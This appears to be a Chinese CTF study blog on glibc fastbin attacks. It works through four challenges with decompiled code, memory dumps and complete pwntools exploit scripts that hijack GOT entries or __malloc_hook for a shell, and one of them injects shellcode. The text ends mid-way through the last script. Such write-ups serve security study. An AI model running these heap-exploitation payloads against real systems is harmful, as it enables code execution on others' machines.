0%

Fastbin Attack

alt

学习心得

最近学习了关于fastbin_attack相关的利用方法,明白了关于fastbin原来有这么多利用方法,深刻体会到了自己是有多么的菜。下面就是关于我自己整理的一些利用漏洞的心得。

介绍(CTF WIKI)

fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是:

  • 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
  • 漏洞发生于 fastbin 类型的 chunk 中

如果细分的话,可以做如下的分类:

  • Fastbin Double Free
  • House of Spirit
  • Alloc to Stack
  • Arbitrary Alloc

其中,前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击,后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。

Fastbin Double Free

利用原理:

  • fastbin在free的时候不会检查链表后面的chunk
  • fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空

利用条件

  • free时候没有将free后的指针置空

这里做一道例题来演示一下

Roc826

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax@2

setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v3 = readi();
if ( v3 != 2 )
break;
dele();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
add();
}
if ( v3 != 3 )
{
if ( v3 == 4 )
exit(0);
LABEL_13:
exit(0);
}
show();
}
}

add函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 add()
{
signed int i; // [sp+8h] [bp-8h]@1
int v2; // [sp+Ch] [bp-4h]@3

for ( i = 0; ; ++i )
{
if ( i > 19 )
{
puts("full!");
return 0LL;
}
if ( !*(_QWORD *)&list[8 * i] )
break;
}
puts("size?");
v2 = readi();
if ( v2 < 0 || v2 > 144 )
{
puts("Invalid size!");
exit(0);
}
*(_QWORD *)&list[8 * i] = malloc(v2);
printf("content:");
read_n(*(_QWORD *)&list[8 * i], (unsigned int)v2);
puts("done!");
return 0LL;
}

show函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 show()
{
int v1; // [sp+Ch] [bp-4h]@1

puts("index?");
v1 = readi();
if ( *(_QWORD *)&list[8 * v1] )
{
printf("content:");
puts(*(const char **)&list[8 * v1]);
}
else
{
puts("Invalid index!");
}
return 0LL;
}

dele函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 dele()
{
int v1; // [sp+Ch] [bp-4h]@1

puts("index?");
v1 = readi();
if ( *(_QWORD *)&list[8 * v1] )
{
free(*(void **)&list[8 * v1]);
puts("done!");
}
else
{
puts("Invalid index!");
}
return 0LL;
}

可以看到在dele函数中存在很明显的漏洞,free后没有将指针置空,而且show函数中只会检查该chunk的指针是否置空。

利用思路:

  1. 申请unsorted bin大小的chunk,free掉后,fd和bk中会有main_arena地址,然后利用show函数泄露其中地址。

  2. 利用double free漏洞,在fastbin中造成类似于chunk1-->chunk2-->chunk1这样的链表,然后申请chunk1并且修改fd为free_got地址附近,这里要注意伪造size,这里我找的是0x601ffa这个地址。

    1
    2
    3
    4
    5
    6
    gdb-peda$ x/10gx 0x601ffa
    0x601ffa: 0x1e28000000000000 0xe168000000000060 <----fake_size
    0x60200a: 0xeee000007ffff7ff 0x14f000007ffff7de free_got地址是0x602018
    0x60201a: 0xe29000007ffff7a9 0xc69000007ffff7a7
    0x60202a: 0x06c600007ffff7a7 0x36b0000000000040
    0x60203a: 0x280000007ffff7a8 0x425000007ffff7a6
  3. 然后连续malloc拿到这个地址,将free_got地址的内容修改为system地址,然后将之前输入带有/bin/sh\x00的chunk释放掉,就可以getshell了。这里也可以将chunk伪造到malloc_hook附近,将one_gadget写入malloc_hook

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#! /usr/bin/env python

from pwn import *

sh=process('./Roc826')
elf=ELF('./Roc826')
libc=elf.libc
context.log_level='debug'

def add(size,content) :
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil('\n')
sh.sendline(str(size))
sh.recvuntil(':')
sh.sendline(content)

def show(index) :
sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil('?\n')
sh.sendline(str(index))

def free(index) :
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil('\n')
sh.sendline(str(index))

add(0x80,'L0ne1y') #0
add(0x50,'L0ne1y') #1
add(0x50,'L0ne1y') #2
add(0x50,'/bin/sh\x00') #3
free(0)
show(0)
sh.recvuntil('content:')
main_arena=u64(sh.recv(6).ljust(8,'\x00'))
print('main_arena:' +hex(main_arena))
libc_base=main_arena-libc.symbols['__malloc_hook']-0x68
print('libc_base:' +hex(libc_base))
system_addr=libc_base+libc.symbols['system']
print ('system_addr:' +hex(system_addr))

free(1)
free(2)
free(1) # 1->2<->1


add(0x50,p64(0x601ffa))

add(0x50,'L0ne1y')
add(0x50,'L0ne1y')
add(0x50,'a'*14+p64(system_addr)[:6])

free(3)
#gdb.attach(sh)
sh.interactive()

House of Spirit

介绍

House of Spirit 是 the Malloc Maleficarum 中的一种技术。

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,这里我们看一下它的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void
public_fREe(Void_t* mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */

[...]

p = mem2chunk(mem);

#if HAVE_MMAP
if (chunk_is_mmapped(p)) /*首先M标志位不能被置上才能绕过。release mmapped memory. */
{
munmap_chunk(p);
return;
}
#endif

ar_ptr = arena_for_chunk(p);

[...]

_int_free(ar_ptr, mem);

首先mmap标志位不能被置上,否则会直接调用munmap_chunk函数去释放堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 void
_int_free(mstate av, Void_t* mem)
{
mchunkptr p; /* chunk corresponding to mem */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr* fb; /* associated fastbin */

[...]

p = mem2chunk(mem);
size = chunksize(p);

[...]

/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/

if ((unsigned long)(size) <= (unsigned long)(av->max_fast) /*其次,size的大小不能超过fastbin的最大值*/

#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {

if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0)) /*最后是下一个堆块的大小,要大于2*SIZE_ZE小于system_mem*/
{
errstr = "free(): invalid next size (fast)";
goto errout;
}

[...]
fb = &(av->fastbins[fastbin_index(size)]);
[...]
p->fd = *fb;
}

其次是伪造堆块的size字段不能超过fastbin的最大值,超过的话,就不会释放到fastbin里面了。

最后是下一个堆块的大小,要大于2*SIZE_ZE小于system_mem,否则会报invalid next size的错误。

这里总结一下利用House Of Spirirt需要的条件

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

我们画个图来理解一下:

1
2
3
4
5
6
7
-----------------
| 可控区域1 |
-----------------
| 目标区域 | 一般是函数指针,或者是返回地址
-----------------
| 可控区域2 |
-----------------

1、这里我们需要在可控区域1中伪造一个fake_chunk,这个fake_chunk的ISMMAP 位不能为 1,地址需要对齐,size需要是fastbin chunk的大小,也需要对齐地址。而且fake_chunk需要将目标区域包括进去。

2、在可控区域2这里需要有fake_chunk的next_size,next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem(128kb),需要注意的是fake_chunk和next_chunk在物理上是相邻的。

利用条件

  • 可以泄露栈上地址
  • 可以覆盖堆指针
  • 想要控制的目标区域的前段空间与后段空间都是可控的内存区域

利用思路

  1. 在可控区域1伪造chunk,目的是为了可以控制目标区域
  2. 修改堆指针指向fake_chunk
  3. free掉堆指针
  4. malloc回来刚才free掉的chunk,最终使得可以往目标区域中写入数据,实现目的。

这里我们以一道例题来举例。

l_ctf_pwn200

checksec检查:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

main函数如下:

1
2
3
4
5
6
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_40079D();
sub_400A8E();
return 0LL;
}

sub_400A8E函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int sub_400A8E()
{
signed __int64 i; // [sp+10h] [bp-40h]@1
char v2[48]; // [sp+20h] [bp-30h]@2

puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &v2[i], 1uLL);
if ( v2[i] == 10 )
{
v2[i] = 0;
break;
}
}
printf("%s, welcome to xdctf~\n", v2);
puts("give me your id ~~?");
sub_4007DF();
return sub_400A29();
}

程序在int sub_400A8E()存在一个off by one的漏洞,当输入48个字符的时候,会连带着将RBP里的值打印出来。这是因为read函数读取字符串的时候不会在末尾加上\x00。这就满足HOS利用条件之一泄露栈地址

sub_400A29函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
int sub_400A29()
{
char buf; // [sp+0h] [bp-40h]@1
char *dest; // [sp+38h] [bp-8h]@1

dest = (char *)malloc(0x40uLL);
puts("give me money~");
read(0, &buf, 0x40uLL);
strcpy(dest, &buf);
ptr = dest;
return sub_4009C4();
}

int sub_400A29()中,由于buf的大小只有 0x40-0x8 = 0x38,但是却读入了0x40字节,会覆盖掉dest的指针,而dest是一个堆指针,这样就满足了HOS利用条件之一存在可将堆变量指针覆盖指向为可控区域

sub_4009C4函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int sub_4009C4()
{
int v0; // eax@1

while ( 1 )
{
while ( 1 )
{
sub_4009AF();
v0 = sub_4007DF();
if ( v0 != 2 )
break;
free_();
}
if ( v0 == 3 )
break;
if ( v0 == 1 )
add();
else
puts("invalid choice");
}
return puts("good bye~");
}

free函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
void free_()
{
if ( ptr )
{
puts("out~");
free(ptr);
ptr = 0LL;
}
else
{
puts("havn't check in");
}
}

add函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int add()
{
int result; // eax@4
int nbytes; // [sp+Ch] [bp-4h]@2

if ( ptr )
{
result = puts("already check in");
}
else
{
puts("how long?");
nbytes = sub_4007DF();
if ( nbytes <= 0 || nbytes > 128 )
{
result = puts("invalid length");
}
else
{
ptr = malloc(nbytes);
printf("give me more money : ");
printf("\n%d\n", (unsigned int)nbytes);
read(0, ptr, (unsigned int)nbytes);
result = puts("in~");
}
}
return result;
}

还有一个利用条件是在 int sub_400A8E()函数中输入ID哪里,因为IDA反编译的问题没有显示出来。

1
2
3
4
5
6
7
8
.text:0000000000400B10                 mov     edi, offset aGiveMeYourId? ; "give me your id ~~?"
.text:0000000000400B15 call _puts
.text:0000000000400B1A mov eax, 0
.text:0000000000400B1F call sub_4007DF
.text:0000000000400B24 cdqe
.text:0000000000400B26 mov [rbp+var_38], rax <---可以看到这里RAX中保存的就是ID
.text:0000000000400B2A mov eax, 0
.text:0000000000400B2F call sub_400A29

这样就满足了HOS的所有利用条件,构成了上面我们在图上看到的那样。我们再看一下程序整个的栈结构。

栈结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
+--------------+     -----
| money(0x38) | <- ↓ 实际可读入0x40
---------------- sub_400A29()函数栈帧(0x40)
| dest | ↑
---------------- -----
| RBP |
----------------
| RIP |
+--------------+ -----
| ..... | 0x18 ↓
---------------- ↓
| ID | sub_400A8E()函数栈帧(0x50)
---------------- ↑
| name(0x30) | ↑
----------------- -----
| RBP | 这里存的是main函数的RBP
----------------
| RIP |
+--------------+ --↓--
| ....... | main函数栈帧(0x10)
---------------- --↑--
| RBP |
----------------
| RIP |
+--------------+

这就形成了我们上面看到的情况:

1
2
3
4
5
6
7
8
9
-----------------
| money(0x38) | <--可控区域1
-----------------
| RBP |
----------------- <--目标区域
| RIP |
-----------------
| ID | <--可控区域2
-----------------

利用思路:

  1. 将shellcode作为name输入进去,填充满48个字符,泄露RBP
  2. 输入ID为next_size
  3. 在输入money的地方,我们伪造fake_chunk,并且覆盖dest指针为我们fake_chunk的地址
  4. free掉fake_chunk,再将fake_chunk申请回来,并且将RIP修改为shellcode_addr。
  5. 退出程序,getshell。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#! /usr/bin/env python

from pwn import *

sh=process('./pwn200')
context.log_level='debug'
elf=ELF('./pwn200')
libc=elf.libc

def add(size,content) :
sh.recvuntil(': ')
sh.sendline('1')
sh.recvuntil('\n')
sh.sendline(str(size))
sh.recvuntil('\n')
sh.send(content)
def free() :
sh.recvuntil(': ')
sh.sendline('2')
def exit() :
sh.recvuntil(': ')
sh.sendline('3')

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
sh.recvuntil('who are u?\n')
sh.send(shellcode.ljust(46,'a')+'bb')
sh.recvuntil('bb')
rbp_addr=u64(sh.recv(6).ljust(8,'\x00'))
log.success('rbp_addr:' +hex(rbp_addr))

shellcode_addr=rbp_addr-0x50
fake_addr=rbp_addr-0x90

sh.recvuntil('give me your id ~~?')
sh.sendline('48')

sh.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41)
payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
sh.send(payload)

free()
add(0x30,p64(0)*3+p64(shellcode_addr))
#gdb.attach(sh)
exit()

sh.interactive()

Alloc to Stack

该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。

通过该技术我们可以把 fastbin chunk 分配到栈中,从而控制返回地址等关键数据。要实现这一点我们需要劫持 fastbin 中 chunk 的 fd 域,把它指到栈上,当然同时需要栈上存在有满足条件的 size 值。

Arbitrary Alloc

介绍

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。

因为Alloc to Stack和Arbitrary Alloc利用原理是一样的,这里就只介绍Arbitrary Alloc。

利用条件

  • 类似于堆溢出漏洞这样的类型,可以劫持fd指针

我找了几道这样类型的题,演示一下

2014 hack.lu oreo

checksec检查

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

mian函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main()
{
int v0; // ST1C_4@1
int result; // eax@1
int v2; // edx@1

v0 = *MK_FP(__GS__, 20);
number = 0;
dword_804A2A0 = 0;
dword_804A2A8 = (char *)&unk_804A2C0;
puts("Welcome to the OREO Original Rifle Ecommerce Online System!");
puts("\n ,______________________________________\n |_________________,----------._ [____] -,__ __....-----=====\n (_(||||||||||||)___________/ |\n `----------' OREO [ ))\"-, |\n \"\" `, _,--....___ |\n `/ \"\"\"\"\n\t");
sub_804898D();
result = 0;
v2 = *MK_FP(__GS__, 20) ^ v0;
return result;
}

sub_804898D函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int sub_804898D()
{
int v1; // [sp+1Ch] [bp-Ch]@1

v1 = *MK_FP(__GS__, 20);
puts("What would you like to do?\n");
printf("%u. Add new rifle\n", 1);
printf("%u. Show added rifles\n", 2);
printf("%u. Order selected rifles\n", 3);
printf("%u. Leave a Message with your Order\n", 4);
printf("%u. Show current stats\n", 5);
printf("%u. Exit!\n", 6);
while ( 1 )
{
switch ( get_number() )
{
default:
continue;
case 1:
Add_new_rifle();
break;
case 2:
Show_added_rifles();
break;
case 3:
delete_rifles();
break;
case 4:
Enter_Message();
break;
case 5:
Show_current_stats();
break;
case 6:
return *MK_FP(__GS__, 20) ^ v1;
}
}
}

Add_new_rifle函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int sub_8048644()
{
char *v1; // [sp+18h] [bp-10h]@1
int v2; // [sp+1Ch] [bp-Ch]@1

v2 = *MK_FP(__GS__, 20);
v1 = last_heap;
last_heap = (char *)malloc(0x38u);
if ( last_heap )
{
*((_DWORD *)last_heap + 13) = v1;
printf("Rifle name: ");
fgets(last_heap + 25, 56, stdin);
sub_80485EC(last_heap + 25);
printf("Rifle description: ");
fgets(last_heap, 56, stdin);
sub_80485EC(last_heap);
++number;
}
else
{
puts("Something terrible happened!");
}
return *MK_FP(__GS__, 20) ^ v2;
}

Show_added_rifles函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int Show_added_rifles()
{
char *i; // [sp+14h] [bp-14h]@1
int v2; // [sp+1Ch] [bp-Ch]@1

v2 = *MK_FP(__GS__, 20);
printf("Rifle to be ordered:\n%s\n", "===================================");
for ( i = last_heap; i; i = (char *)*((_DWORD *)i + 13) )
{
printf("Name: %s\n", i + 25);
printf("Description: %s\n", i);
puts("===================================");
}
return *MK_FP(__GS__, 20) ^ v2;
}

delete_rifles函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int sub_8048810()
{
char *ptr; // ST18_4@3
char *v2; // [sp+14h] [bp-14h]@1
int v3; // [sp+1Ch] [bp-Ch]@1

v3 = *MK_FP(__GS__, 20);
v2 = last_heap;
if ( number )
{
while ( v2 )
{
ptr = v2;
v2 = (char *)*((_DWORD *)v2 + 13);
free(ptr);
}
last_heap = 0;
++dword_804A2A0;
puts("Okay order submitted!");
}
else
{
puts("No rifles to be ordered!");
}
return *MK_FP(__GS__, 20) ^ v3;
}

Enter_Message函数如下:

1
2
3
4
5
6
7
8
9
10
int sub_80487B4()
{
int v0; // ST1C_4@1

v0 = *MK_FP(__GS__, 20);
printf("Enter any notice you'd like to submit with your order: ");
fgets(dword_804A2A8, 128, stdin);
sub_80485EC(dword_804A2A8);
return *MK_FP(__GS__, 20) ^ v0;
}

Show_current_stat函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int sub_804898D()
{
int v1; // [sp+1Ch] [bp-Ch]@1

v1 = *MK_FP(__GS__, 20);
puts("What would you like to do?\n");
printf("%u. Add new rifle\n", 1);
printf("%u. Show added rifles\n", 2);
printf("%u. Order selected rifles\n", 3);
printf("%u. Leave a Message with your Order\n", 4);
printf("%u. Show current stats\n", 5);
printf("%u. Exit!\n", 6);
while ( 1 )
{
switch ( get_number() )
{
default:
continue;
case 1:
Add_new_rifle();
break;
case 2:
Show_added_rifles();
break;
case 3:
delete_rifles();
break;
case 4:
Enter_Message();
break;
case 5:
Show_current_stats();
break;
case 6:
return *MK_FP(__GS__, 20) ^ v1;
}
}
}

add函数中 *((_DWORD *)last_heap + 13) = v1;last_heap指针的地址写到了last_heap + 52的地方(4*13),接着这里让输入name,我们发现fgets(last_heap + 25, 56, stdin),这句代码从last_heap + 25开始输入,然后输入56个字符,而我们将last_heap指针的地址写到了last_heap + 52的地方,这就意味着我们可以改写这个指针。

利用思路

  1. 因为延迟绑定的缘故,我们首先需要调用一下free函数,然后再name输入的时候,将last_heap指针改写成free_got。

  2. 然后利用show函数,泄露libc

  3. Enter_Message函数中fgets(dword_804A2A8, 128, stdin);这里的dword_804A2A8指的是这个地址里的数据指向的地方,我们可以伪造fake_chunk修改dword_804A2A8这个地址的数据让它指向got表,然后修改got表。

  4. 我们发现在bss段有一个number的计数指针,用来记录malloc的次数, last_heap = (char *)malloc(0x38u);这里可以知道,我们需要0x38+8大小的size,也就是0x40,也就是说我们需要malloc 40次。注意这里每个chunk,last_heap都要设置成NULL,因为在后面delete的时候是依次free,这样才不会将这些chunk放入fastbin中。

    1
    2
    3
    4
    .bss:0804A2A4 number          dd ?                   
    .bss:0804A2A4
    .bss:0804A2A8 ; char *dword_804A2A8
    .bss:0804A2A8 dword_804A2A8 dd ? <---我们要修改的地方
  5. 再添加一次chunk,将last_heap设置成0x0804a2a8,这样在free一次后会将指针设置成last_heap,再将其free放入fastbin,然后再次malloc出来,这里我们需要注意的是,在free的时候,程序会检查fake_chunk的next_size,所以这里我们需要伪造next_size。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    gdb-peda$ x/20wx 0x804a2a4
    (fake_size) (strlen_got)
    0x804a2a4: 0x00000040 0x0804a2c0 0x00000000 0x00000000
    0x804a2b4: 0x00000000 0x00000000 0x00000000 0x61616161
    0x804a2c4: 0x61616161 0x61616161 0x61616161 0x61616161
    (last_heap)
    0x804a2d4: 0x61616161 0x61616161 0x00000000 0x61616161
    (next_size)
    0x804a2e4: 0x00000064 0x0000000a 0x00000000 0x00000000
  6. 然后我们将last_heap再一次修改为strlen_got,将利用Enter_Message函数将system_addr和/bin/sh\x00写到strlen_got表里。这里要注意一下写法,p32(system_addr)+';/bin/sh\x00'具体原理我就不解释了。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *
sh=process('./oreo')
elf=ELF('./oreo')
context.log_level='debug'
free_got=elf.got['free']
log.success('free_got: ' +hex(free_got))
strlen_got=elf.got['strlen']

def add(name,content) :
#sh.recvuntil('Action: ')
sh.sendline('1')
#sh.recvuntil(': ')
sh.sendline(name)
#sh.recvuntil(': ')
sh.sendline(content)

def show() :
#sh.recvuntil('Action: ')
sh.sendline('2')

def free() :
#sh.recvuntil('Action: ')
sh.sendline('3')

def message(message) :
#sh.recvuntil('Action: ')
sh.sendline('4')
#sh.recvuntil(": ")
sh.sendline(message)

def show_stats() :
#sh.recvuntil('Action: ')
sh.sendline('5')

add('L0ne1y','L0ne1y')
free()

name='a'*27+p32(free_got)
add(name,'L0ne1y')
show()
sh.recvuntil('Description: ')
sh.recvuntil('Description: ')
free_addr=u32(sh.recv(4).ljust(4,'\x00'))
log.success('free_addr: '+hex(free_addr))

libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
system_addr=libc_base+libc.dump('system')
log.success('system_addr: ' +hex(system_addr))

message_addr=0x0804A2A8
for i in range(0x40-2-1) :
add('a'*27+p32(0),'L0ne1y')
add('a'*27+p32(message_addr),'L0ne1y')
#show_stats()
next_size='a'*(0x20-4)+p32(0) + 'a'*4 + p32(100) #这里的p32(0)是要将last_heap置零,有些不太理解,调试也没发现这里是last_heap
message(next_size)
free()

add('L0ne1y',p32(strlen_got))
message(p32(system_addr)+';/bin/sh\x00')

#gdb.attach(sh)
sh.interactive()

2017_0ctf_babyheap

checksec检查

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 v3; // rax@2

sub_B70();
do
{
sub_CF4();
v3 = sub_138C();
}
while ( v3 > 5 );
JUMPOUT(__CS__, dword_14F4 + dword_14F4[v3]);
}

add函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall add(__int64 a1)
{
signed int i; // [sp+10h] [bp-10h]@1
signed int v2; // [sp+14h] [bp-Ch]@3
void *v3; // [sp+18h] [bp-8h]@6

for ( i = 0; i <= 15; ++i )
{
if ( !*(24LL * i + a1) )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(24LL * i + a1) = 1;
*(a1 + 24LL * i + 8) = v2;
*(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", i);
}
return;
}
}
}

edit函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall edit(__int64 a1)
{
unsigned __int64 result; // rax@1
int v2; // [sp+18h] [bp-8h]@1
int v3; // [sp+1Ch] [bp-4h]@4

printf("Index: ");
result = sub_138C();
v2 = result;
if ( (result & 0x80000000) == 0LL && result <= 15 )
{
result = *(24LL * result + a1);
if ( result == 1 )
{
printf("Size: ");
result = sub_138C();
v3 = result;
if ( result > 0 )
{
printf("Content: ");
result = sub_11B2(*(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}

show函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed int __fastcall show(__int64 a1)
{
signed int result; // eax@1
signed int v2; // [sp+1Ch] [bp-4h]@1

printf("Index: ");
result = sub_138C();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = *(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(24LL * v2 + a1 + 16), *(24LL * v2 + a1 + 8));
result = puts(byte_14F1);
}
}
return result;
}

free函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall free_(__int64 a1)
{
__int64 result; // rax@1
int v2; // [sp+1Ch] [bp-4h]@1

printf("Index: ");
result = sub_138C();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = *(24LL * result + a1);
if ( result == 1 )
{
*(24LL * v2 + a1) = 0;
*(24LL * v2 + a1 + 8) = 0LL;
free(*(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(result + 16) = 0LL;
}
}
return result;
}

我们发现在edit函数中,程序让我们输入size,指定输入长度,这样就造成了堆溢出。需要注意的是堆块是由 calloc 分配的,所以 chunk 中的内容全都为\x00

利用思路:

  1. 申请6个chunk,free掉1和2,利用0修改掉1的fd,使其指向0x80的chunk,然后连续malloc,这样就会拿到0x80的chunk地址了,这里要注意先修改0x80的chunk的size位,然后修改回size位,free掉0x80的chunk,然后利用show函数,泄露出main_arena地址
  2. 然后申请0x60的chunk,此时chunk2和刚申请回来的chunk的地址是一样的,我们再free掉,然后利用chunk2修改fd指针为malloc_hook-0x23
  3. 然后连续malloc俩次,拿到malloc_hook-0x23为地址的fake_chunk,在malloc_hook处写入one_gadget,然后再一次malloc来getshell。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#! /usr/bin/env python

from pwn import *

sh=process('./babyheap')
elf=ELF('./babyheap')
libc=elf.libc
context.log_level='debug'

def add(size) :
sh.recvuntil(': ')
sh.sendline('1')
sh.recvuntil(': ')
sh.sendline(str(size))

def edit(index,size,content) :
sh.recvuntil(': ')
sh.sendline('2')
sh.recvuntil(': ')
sh.sendline(str(index))
sh.recvuntil(': ')
sh.sendline(str(size))
sh.recvuntil(': ')
sh.sendline(content)

def free(index) :
sh.recvuntil(': ')
sh.sendline('3')
sh.recvuntil(': ')
sh.sendline(str(index))
def show(index) :
sh.recvuntil(': ')
sh.sendline('4')
sh.recvuntil(': ')
sh.sendline(str(index))

add(0x10) #0
add(0x10) #1
add(0x10) #2
add(0x10) #3
add(0x80) #4
add(0x10) #5

free(2)
free(1)
edit(0,0x21,'a'*0x10+p64(0)+p64(0x21)+'\x80') #1->4
edit(3,0x20,'a'*0x10+p64(0)+p64(0x21))
add(0x10) #1
add(0x10) #2:->4

edit(3,0x20,'a'*0x10+p64(0)+p64(0x91))
free(4)
show(2)
sh.recvuntil('Content: \n')
main_arena=u64(sh.recv(6).ljust(8,'\x00'))
libc_base=main_arena-libc.symbols['__malloc_hook']-0x68
#0x45216,0x4526a,0xf02a4,0xf1147
one_gadget=libc_base+0x4526a
log.success('main_arena: ' +hex(main_arena))
